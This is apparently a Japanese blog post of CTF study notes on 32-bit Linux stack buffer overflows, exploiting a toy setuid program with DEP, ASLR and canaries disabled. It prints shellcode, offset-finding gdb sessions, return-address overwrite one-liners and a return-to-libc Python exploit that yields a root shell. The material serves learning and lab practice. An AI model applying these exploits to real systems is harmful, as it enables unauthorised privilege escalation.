アイジア

CTF, 情報セキュリティの学んだことメモ

バッファオーバーフローの攻撃手法いろいろ

*linux32ビット

1.1: 最も基本的なスタックバッファオーバーフロー

実行条件:
・DEP無効
・ASLR無効
・CANARY無効

*セキュリティ機構のおおまかな解説はここから

aithea.hatenablog.com

//bof1.c
#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
          "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
    char buf[32];
    printf("shellcode is here: %p\n", shellcode);
    strcpy(buf, argv[1]);
    
    return 0;
}


strcpy(buf, argv[1])としてしまうとbufの容量をこえたサイズの値がスタックに書き込まれてしまいます。スタックの底辺にあるリターンアドレスをうまいことshellcodeのアドレスに書き換えられれば不正にシェルを起動できます。
これを以下のようにコンパイルします。

gcc -fno-stack-protector -z execstack -o bof1 bof1.c

また、「sudo sysctl -w kernel.randomize_va_space=0」でASLRも無効にします。
このプログラムにsuidビットを付与します。suidビットが与えられたプログラムはルート権限で動作します。

sudo chown root bof1
sudo chmod u+s bof1

普通に実行すると以下の結果が得られます。

aithea@ubuntu:~/bof$ ./bof1 abcd
shellcode is here: 0x8048530

バッファからリターンアドレスのオフセットを調べる

うまくリターンアドレスを書き換えるにはbufからリターンアドレスまでどれくらい距離があるかを調べる必要があります。gdb-pedaのpattc とpattoを使うと便利です。

gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
shellcode is here: 0x8048530

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffd580 ("AAaAA0AAFAAbA")
EDX: 0xffffd315 ("AAaAA0AAFAAbA")
ESI: 0xf7f99000 --> 0x1d9d6c 
EDI: 0xf7f99000 --> 0x1d9d6c 
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffd320 --> 0x4162 (b'bA')
EIP: 0x41414641 (b'AFAA')
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]

0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44


「pattc 50」で50個の文字を生成し、それを引数としてbof1を実行します。すると「Invalid $PC address: 0x41414641」と返ってくるので「patto AFAA」(41414641 = AFAA)と入力してpattcで出力した文字列の中で、AFAAが出てくるまでのオフセットを調べることができます。ここではオフセットは44でした。これがバッファとリターンアドレスのオフセットになります。
いまシェルコードのアドレスが0x8048530だとわかっているので1~44番目に適当な文字列を送り、45~48番目に「\x30\x85\x04\x08」を送ればシェルコードが動作します。

aithea@ubuntu:~/bof$ ./bof1 $(python -c "print 'A'*44+'\x30\x85\x04\x08'")
shellcode is here: 0x8048530
# whoami
root

管理者権限を手に入れればほぼ何でもできます。

1.2 :Return-to-libc

1.1のやり方だとDEPが有効になっている場合、shellcodeを実行できなくなります(shellcodeがデータ領域にあるため)。しかし共有ライブラリは実行する必要があるため、DEPによる影響を受けません。そのためshellcodeの代わりに共有ライブラリのアドレスをリターンアドレスに書き込みます。この攻撃をReturn-to-libcといいます。ここではこの手法をつかってsystem("/bin/bash")を呼び出してみます。プログラムは1-1と同じものを使用しますが、DEPだけ有効にします。

gcc -fno-stack-protector -o bof1 bof1.c


攻撃を成功させるためには次のようにスタックを書き換える必要があります。
(スタック上位)
・(適当な文字列)*44
・system関数のアドレス
・system関数呼び出し後の戻りアドレス
・文字列「/bin/bash」を指すアドレス
(スタック下位)

まずsystem関数のアドレスを調べます。これにはgdbを使います。

(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/aithea/bof/bof1 

Breakpoint 1, 0x08048417 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e63170 <system>

ここではsystem関数は「0xb7e63170」にあります。

system関数呼び出し後の戻りアドレスは、割とどうでもいいので適当な文字列で埋めることにします。

続いて/bin/bashへのアドレスを見つけます。環境変数$SHELLにはふつう「SHELL=/bin/bash」という文字列が格納されています。そして環境変数はプログラムの実行と同時にメモリにロードされるので参照することが可能です。環境変数はスタックの下位にあります。

(gdb) x/1000s $ebp
.
.
.
0xbffff53e:  "/home/aithea/bof/bof1"
0xbffff554:  'A' <repeats 44 times>, "p1\346\267AAAA\321\365\377\277"
0xbffff58d:  "SSH_AGENT_PID=4093"
0xbffff5a0:  "GPG_AGENT_INFO=/tmp/keyring-NUF3zS/gpg:0:1"
0xbffff5cb:  "TERM=xterm"
0xbffff5d6:  "SHELL=/bin/bash"
0xbffff5e6:  "XDG_SESSION_COOKIE=452f0eaf8cd11d01ec673ada00000008-1548749778.608052-1887273046"
0xbffff637:  "WINDOWID=58720261"
.
.
.

ここでは0xbffff5dcに「/bin/bash」があります。
というわけで引数はこのようになります。

./bof1 $(python -c "print 'A'*44+'\x70\x31\xe6\xb7'+'A'*4+'\xdc\xf5\xff\xbf';")


ただ/bin/bashだと成功したのかわかりずらく、実行するごとになぜか微妙にアドレスの位置がずれるので良い方法とは言えません。なので次はsystem("/bin/sh")を呼び出します。

/bin/shを起動する

/bin/shという文字列は共有ライブラリの中にあります。

(gdb) info proc mappings
process 5607
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000        0x0 /home/aithea/bof/bof1
     0x8049000  0x804a000     0x1000        0x0 /home/aithea/bof/bof1
     0x804a000  0x804b000     0x1000     0x1000 /home/aithea/bof/bof1
    0xb7e25000 0xb7e26000     0x1000        0x0 
    0xb7e26000 0xb7fc5000   0x19f000        0x0 /lib/i386-linux-gnu/libc-2.15.so
    0xb7fc5000 0xb7fc7000     0x2000   0x19f000 /lib/i386-linux-gnu/libc-2.15.so
    0xb7fc7000 0xb7fc8000     0x1000   0x1a1000 /lib/i386-linux-gnu/libc-2.15.so
    0xb7fc8000 0xb7fcb000     0x3000        0x0 
    0xb7fdb000 0xb7fdd000     0x2000        0x0 
    0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]
    0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
    0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
    0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
    0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb)

libcは0xb7e26000から始まっています。

aithea@ubuntu:~/bof$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 15cbe3 /bin/sh

stringsの-aでファイル全体のスキャン、-txで先頭からの位置を16進数で示します。0xb7e26000 + 0x15cbe3 = 0xb7f82be3が/bin/shを指すアドレスだとわかりました。

(gdb) x/s 0xb7f82be3
0xb7f82be3:  "/bin/sh"

ありますね。 以上から以下のように実行します。

aithea@ubuntu:~/bof$ ./bof1 $(python -c "print 'A'*44+'\x70\x31\xe6\xb7'+'A'*4+'\xe3\x2b\xf8\xb7';")
shellcode is here: 0x8048530
# whoami
root
#

かっこよくコードに書き直すとこんな感じ

import struct
from subprocess import Popen


code = 'A'*44                         #適当な文字列
code += struct.pack('<I', 0xb7e63170)  #system関数のアドレス(リトルエンディアンのバイナリに変換する)
code += 'A'*4                         #system関数を呼び出した後の戻りアドレス(どうでもいいのでAで埋める)
code += struct.pack('<I', 0xb7f82be3)  #/bin/shのアドレス

p = Popen(['./bof1', code])                #codeを引数としてbof1を実行
p.wait()

実行結果

aithea@ubuntu:~/bof$ python bof1.py
shellcode is here: 0x8048530
#

そのうち書式文字列攻撃についてもまとめたいと思います。

参考

Return-to-libcまとめ

Return-to-libcでDEPを回避してみる - ももいろテクノロジー